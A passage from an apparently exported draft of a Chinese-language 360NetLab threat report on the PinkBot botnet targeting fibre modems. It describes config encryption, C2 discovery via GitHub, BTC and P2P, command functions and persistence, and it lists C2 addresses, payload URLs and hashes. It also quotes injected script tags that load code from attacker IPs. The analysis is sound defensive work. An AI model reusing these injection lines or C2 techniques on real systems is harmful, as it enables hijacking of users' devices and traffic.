xps://minavgmax.dynamic-dns.net/static/zone.x86_64\nhxxps://minavgmax.dynamic-dns.net/static/zone.x86-64\nhxxps://minavgmax.dynamic-dns.net/static/zone.x86_bk\n\nhxxps://sinaiot.dns05.com/static/*\nhxxps://139.180.185.238/static/*\n\n\n# md5 \nb52f349561344456505142fb18a9148\n8dc537e7ed8426e7cef506757d9e5ce2\n20ce42910f909774e39f44f405f6a6d6\n84d59d96d682c06f5161f02d3a26297d\n1302d1fe28f49160cb5681bdf02cc3f2\nb09b23c72cfd26bd137af4645292a86b\nb097f66632fcd9da0985256439c650e1\ncfa031b737d185c385e40b3db0e13f66\nf13add3a99ac3112704e10ce97c48430\nf60cd6afa023fcc5559175cfc1c9c6b9\na23bea2d3f1cf4ea0ba32d883c8c6ca1\n\n\n# c2\nsthwrt.ns01.us 80\nsinaiot.dns05.com 27815\nminavgmax.dynamic-dns.net 27815\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 616e8d583819e500076356fb |
post | null | 2021-10-21T03:05:42.000Z | 63873b9a8b1c1e0007f52fea | pink-botnet-bei-fen | 0 | 2022-03-01T07:28:55.000Z | public | draft | null | null | （备份-嫑改）Pink Botnet | <!--kg-card-begin: markdown--><h1 id="">概述</h1>
<p>2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。</p>
<p>Pinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，已知总感染量超过160万，其中 96% 位于中国。</p>
<p>PinkBot 具有很强的技术能力：</p>
<ol>
<li>PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用；</li>
<li>PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；</li>
<li>在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。</li>
</ol>
<p>可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。</p>
<h1 id="">规模及影响范围</h1>
<p>我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：</p>
<ol>
<li>2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;</li>
<li>2020-01-02从CNCERT拿到的统计结果：<br>
<code>“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。对这些IP地址的定位数据进行统计发现，IP主要为联通的家庭宽带用户地址。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”</code></li>
<li>根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。</li>
</ol>
<p>在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。受影响的运营商主要涉及中国联通（>80%）和中国电信（>15%）。</p>
<p>目前已确认有三款设备受到影响：TEWA-800E，KD-YUN-811E 和 ipTIME-N904NS。</p>
<h1 id="pinkbot">PinkBot 技术架构</h1>
<p>PinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。</p>
<h2 id="">配置信息</h2>
<p>对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：</p>
<pre><code>{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//gitee.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
</code></pre>
<ol>
<li>其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。</li>
<li>随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。</li>
<li>再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。</li>
<li>“sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。</li>
<li>srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。</li>
<li>pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。</li>
</ol>
<h3 id="">配置信息的保护</h3>
<p>通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。<br>
为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：</p>
<pre><code>def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
</code></pre>
<p>信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：</p>
<ol>
<li>签名校验使用的密码库为 mbedtls；</li>
<li>签名算法为 ECDSA；</li>
<li>签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；</li>
<li>验签所用公钥为： <code>04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E</code></li>
</ol>
<h3 id="">配置信息的分发</h3>
<p>除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。</p>
<h4 id="a">a) 通过第三方服务分发配置信息</h4>
<ol>
<li>通过 BTC+GITHUB 分发配置信息</li>
</ol>
<p>该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。</p>
<p><img src="__GHOST_URL__/content/images/2019/11/pink_readme.png" alt="" loading="lazy"></p>
<p>其中，模式为<code>P!!<base64>I!!</code>行是配置签名，模式为<code>N!!<base64>K!!</code>行是配置信息的密文。</p>
<p>但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包[<code>1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF</code>] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：</p>
<p><img src="__GHOST_URL__/content/images/2019/11/image.png" alt="" loading="lazy"></p>
<p>对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 <code>...!<base64>...?</code> 的字串，比如我们最近找到的一个就是 <code>...!L215cG9sbzExMS92Zmc=...?</code> 将这个base64 还原，就是隐藏项目的地址了 <code>mypolo111/vfg</code></p>
<p>再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。</p>
<p>另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：</p>
<p><img src="__GHOST_URL__/content/images/2019/11/mypolo111_issues.png" alt="" loading="lazy"></p>
<p>PS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。</p>
<ol start="2">
<li>通过 百度tieba 分发配置信息</li>
</ol>
<p>攻击者在少部分样本中还尝试利用“百度tieba”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。</p>
<p>2022年3月1日，百度的同事找到了贴吧相关。<a href="https://tieba.baidu.com/home/main?id=tb.1.17f95408.DWQgYsTdICFVLfwoPkWw4g&fr=pb">pkbidu_001</a>,以及多个该账号相关的帖子https://tieba.baidu.com/p/5949662828?red_tag=2156548834 和 <a href="https://tieba.baidu.com/p/6418396904?pid=129106150828&cid=#129106150828">https://tieba.baidu.com/p/6418396904?pid=129106150828&cid=#129106150828</a></p>
<p>其帖子内容经过base64编码解密后，可直接关联到 pink。</p>
<pre><code>$ echo aHR0cDovL2NuYy5waW5rbGFuZGVyLmNvbS9w | base64 -d
http://cnc.pinklander.com/p
$ echo aHR0cHM6Ly9naXRodWIuY29tL215cG9sbzExMS92Zmcv | base64 -d
https://github.com/mypolo111/vfg/
</code></pre>
<p><img src="__GHOST_URL__/content/images/2022/03/pink_baidu_tieba_--_3.png" alt="pink_baidu_tieba_--_3" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/03/pink_baidu_tieba_--.png" alt="pink_baidu_tieba_--" loading="lazy"></p>
<h4 id="bp2p">b) 通过 P2P 方式分发配置信息</h4>
<ol>
<li>P2P-Over-UDP123 分发配置信息</li>
</ol>
<p>Bot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（"114.25.0.0/16"，"36.227.0.0/16"，"59.115.0.0/16"，"1.224.0.0/16"）发起 Peer 探测请求，内容为 <code>1C 00 00 00</code> 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：</p>
<ul>
<li>当目标Bot未取得主控信息时回复 <code>1D 00 00 00</code>；</li>
<li>当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。</li>
</ul>
<p>下图是最近捕获到的UDP-123 传递的配置信息。</p>
<p><img src="__GHOST_URL__/content/images/2020/03/UDP-123-hexdata.png" alt="UDP-123-hexdata" loading="lazy"></p>
<ol start="2">
<li>通过 P2P-Over-TCP 分发配置信息</li>
</ol>
<p>Bot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/01/p2p_getport_byip.png" alt="" loading="lazy"></p>
<p>交互协议的格式同UDP123上的相同。</p>
<h4 id="ccnc">c) 通过 CNC 分发配置信息</h4>
<p>攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。</p>
<h2 id="pinkbot">PinkBot 指令</h2>
<h3 id="">指令格式</h3>
<p>每条指令至少包含7字节，含义依此如下：</p>
<ol>
<li>Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。</li>
<li>指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。</li>
<li>内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。</li>
<li>指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。</li>
</ol>
<p>这里附上一张截图供参阅，其中红框标记的就是指令字段：</p>
<p><img src="__GHOST_URL__/content/images/2020/03/Snip20191130_9.png" alt="Snip20191130_9" loading="lazy"></p>
<h3 id="">指令传输方式</h3>
<h4 id="a">a) 通讯加密</h4>
<p>上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：</p>
<ol>
<li>使用的密码学库为：<code>mbedtls</code>;</li>
<li>密钥交换阶段使用的交换算法 <code>ecdh</code>，加载曲线为 <code>MBEDTLS_ECP_DP_CURVE25519</code>;</li>
<li>服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：<code>14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D</code></li>
<li>报文加密/解密阶段使用的算法为 <code>aes</code>, key 为密钥交换后的secret，加载参数为 <code>MBEDTLS_AES_ENCRYPT</code> 和<code>MBEDTLS_AES_DECRYPT</code>;</li>
<li>在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。</li>
</ol>
<h4 id="b">b) 指令内容编码</h4>
<p>为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库<a href="https://github.com/nanopb/nanopb">nanopb</a> 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。</p>
<h3 id="">指令功能</h3>
<p>PinkBot 指令具有丰富的控制能力：</p>
<blockquote>
<ol>
<li>文件下载</li>
<li>系统命令执行</li>
<li>DDoS攻击（HTTP攻击和 UDP 攻击）</li>
<li>扫描功能（扫描的具体内容可以通过指令设置）</li>
<li>汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）</li>
<li>自身更新（将新版本保存到 /tmp/client 后运行）</li>
<li>P2P节点列表同步（直接推送一组P2P节点到Bot）</li>
<li>http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）</li>
<li>启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）</li>
<li>下载文件并执行</li>
<li>停止攻击</li>
<li>重置watchdog</li>
</ol>
</blockquote>
<h2 id="pinkbot">PinkBot 持久化方式</h2>
<p>与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。</p>
<p>下图是被感染后新增/修改的文件列表：</p>
<p><img src="__GHOST_URL__/content/images/2020/03/pink_flash_tree_diff.png" alt="pink_flash_tree_diff" loading="lazy"></p>
<p>其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。</p>
<p>关键文件说明：</p>
<ul>
<li>/bin/protect：<code>md5:9ec5bd857b998e60663e88a70480b828</code></li>
</ul>
<p>protect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。</p>
<ul>
<li>/bin/tr69c: <code>md5:451a3cf94191c64b5cd1be1a80be7799</code></li>
</ul>
<p>tc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。</p>
<h1 id="pinkbot">PinkBot 规模评估与指令跟踪</h1>
<h2 id="">规模评估</h2>
<p>前面提到，每个受感染的 PinkBot 都会通过 udp 123 端口以 p2p 方式来分发配置信息。利用这个特性，我们在全网范围内对 PinkBot 的感染量进行了持续评估（评估数据统计那堆表要不要列一波？）。</p>
<h2 id="">指令跟踪</h2>
<p>我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。<br>
除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：</p>
<pre><code><script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
</code></pre>
<h1 id="pinkbot">番外：与 PinkBot 对抗的那些事儿</h1>
<p>在对 PinkBot 僵尸网络分析跟踪的过程中。我们注意到，攻击者和相关厂商进行了多次的攻防对抗。<br>
这一章节将简单梳理下我们了解到的与 PinkBot 攻防对抗的尝试。</p>
<h2 id="">设备厂商的对抗（此章节涉及到厂商利益，慎重公开）</h2>
<p>根据一个涉事厂商（四川天邑）提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。</p>
<p><em>第一次对抗</em>: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。</p>
<p><em>第二次对抗</em>：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。</p>
<p><em>第三次对抗</em>：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。</p>
<p><em>最后的方案</em>：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。</p>
<p><em>复盘总结</em>：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。</p>
<h2 id="github">GITHUB 封相关账号</h2>
<p>我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。</p>
<p><img src="__GHOST_URL__/content/images/2020/03/pink78day.png" alt="pink78day" loading="lazy"></p>
<p>目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。</p>
<p><em>复盘总结</em>：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。Nice try.</p>
<h1 id="ioc">IOC</h1>
<h2 id="cc">C&C地址</h2>
<p>通过长期跟踪，攻击者使用过的CNC地址有：</p>
<pre><code>cnc.pinklander[.]com
144.202.109.110:40080
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
</code></pre>
<p><strong>PS</strong>: 其中 cnc.pinklander.com 在2019年12月28日，已经被我们的DNSMon系统自动识别并加黑处理了。</p>
<h2 id="">同步服务</h2>
<p>PinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。<br>
在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的<code>配置信息</code>中。</p>
<pre><code>http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//140.82.53.129/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
http[:]//95.179.238.22/dlist.txt
https[:]//fse7.oss-cn-shanghai.aliyuncs.com/dlist.txt
https[:]//fys6y.oss-cn-shanghai.aliyuncs.com/dlist.txt
https[:]//gitee.com/b9g/zt/raw/master/dlist.txt
https[:]//gitee.com/bg64/gy/raw/master/dlist.txt
https[:]//gitee.com/bg64/xt/raw/master/dlist.txt
https[:]//gitee.com/d3fg/su/raw/master/dlist.txt
https[:]//gitee.com/fe354/xx/raw/master/dlist.txt
https[:]//gitee.com/fh8y/i9/raw/master/dlist.txt
https[:]//gitee.com/g6y/qu/raw/master/dlist.txt
https[:]//gitee.com/g7u/hi/raw/master/dlist.txt
https[:]//gitee.com/gb7e/sh/raw/master/dlist.txt
https[:]//gitee.com/ggf2/zt/raw/master/dlist.txt
https[:]//gitee.com/hni/cfi/raw/master/dlist.txt
https[:]//gitee.com/ji9/zg/raw/master/dlist.txt
https[:]//gitee.com/johncase/zip/raw/master/dlist.txt
https[:]//gitee.com/k9o/st/raw/master/dlist.txt
https[:]//gitee.com/k9o/u8/raw/master/dlist.txt
https[:]//gitee.com/mh8i/zt/raw/master/dlist.txt
https[:]//gitee.com/nick908/hello/raw/master/dlist.txt
https[:]//gitee.com/nick908/sc/raw/master/dlist.txt
https[:]//gitee.com/oubv/bh/raw/master/dlist.txt
https[:]//gitee.com/s7y/xx/raw/master/dlist.txt
https[:]//gitee.com/t9i/y7/raw/master/dlist.txt
https[:]//gitee.com/u8i/fo/raw/master/dlist.txt
https[:]//gitee.com/ujh5/ho/raw/master/dlist.txt
https[:]//gitee.com/vd5/y8/raw/master/dlist.txt
https[:]//gitee.com/vd5/y9/raw/master/dlist.txt
https[:]//gitee.com/vr6/sh/raw/master/dlist.txt
https[:]//gitee.com/y7u/bh/raw/master/dlist.txt
https[:]//gitee.com/y7u/eg/raw/master/dlist.txt
https[:]//gitee.com/y7u/lp/raw/master/dlist.txt
https[:]//gitee.com/y7u/rt/raw/master/dlist.txt
https[:]//gitee.com/y7u/xc/raw/master/dlist.txt
https[:]//hj9o.oss-cn-hangzhou.aliyuncs.com/dlist.txt
https[:]//hjis.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//kol5.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//n609.coding.net/p/t/d/t/git/raw/master/dlist.txt
https[:]//okp9.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
</code></pre>
<h2 id="md5">MD5</h2>
<p>通过跟踪获取到的相关样本（ELF）汇总如下：</p>
<pre><code>9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
</code></pre>
<!--kg-card-end: markdown--> | 概述
2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。
Pinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，已知总感染量超过160万，其中 96% 位于中国。
PinkBot 具有很强的技术能力：
1. PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用；
2. PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；
3. 在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。
可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。
规模及影响范围
我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：
1. 2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;
2. 2020-01-02从CNCERT拿到的统计结果：
“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。对这些IP地址的定位数据进行统计发现，IP主要为联通的家庭宽带用户地址。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”
3. 根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。
在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。受影响的运营商主要涉及中国联通（>80%）和中国电信（>15%）。
目前已确认有三款设备受到影响：TEWA-800E，KD-YUN-811E 和 ipTIME-N904NS。
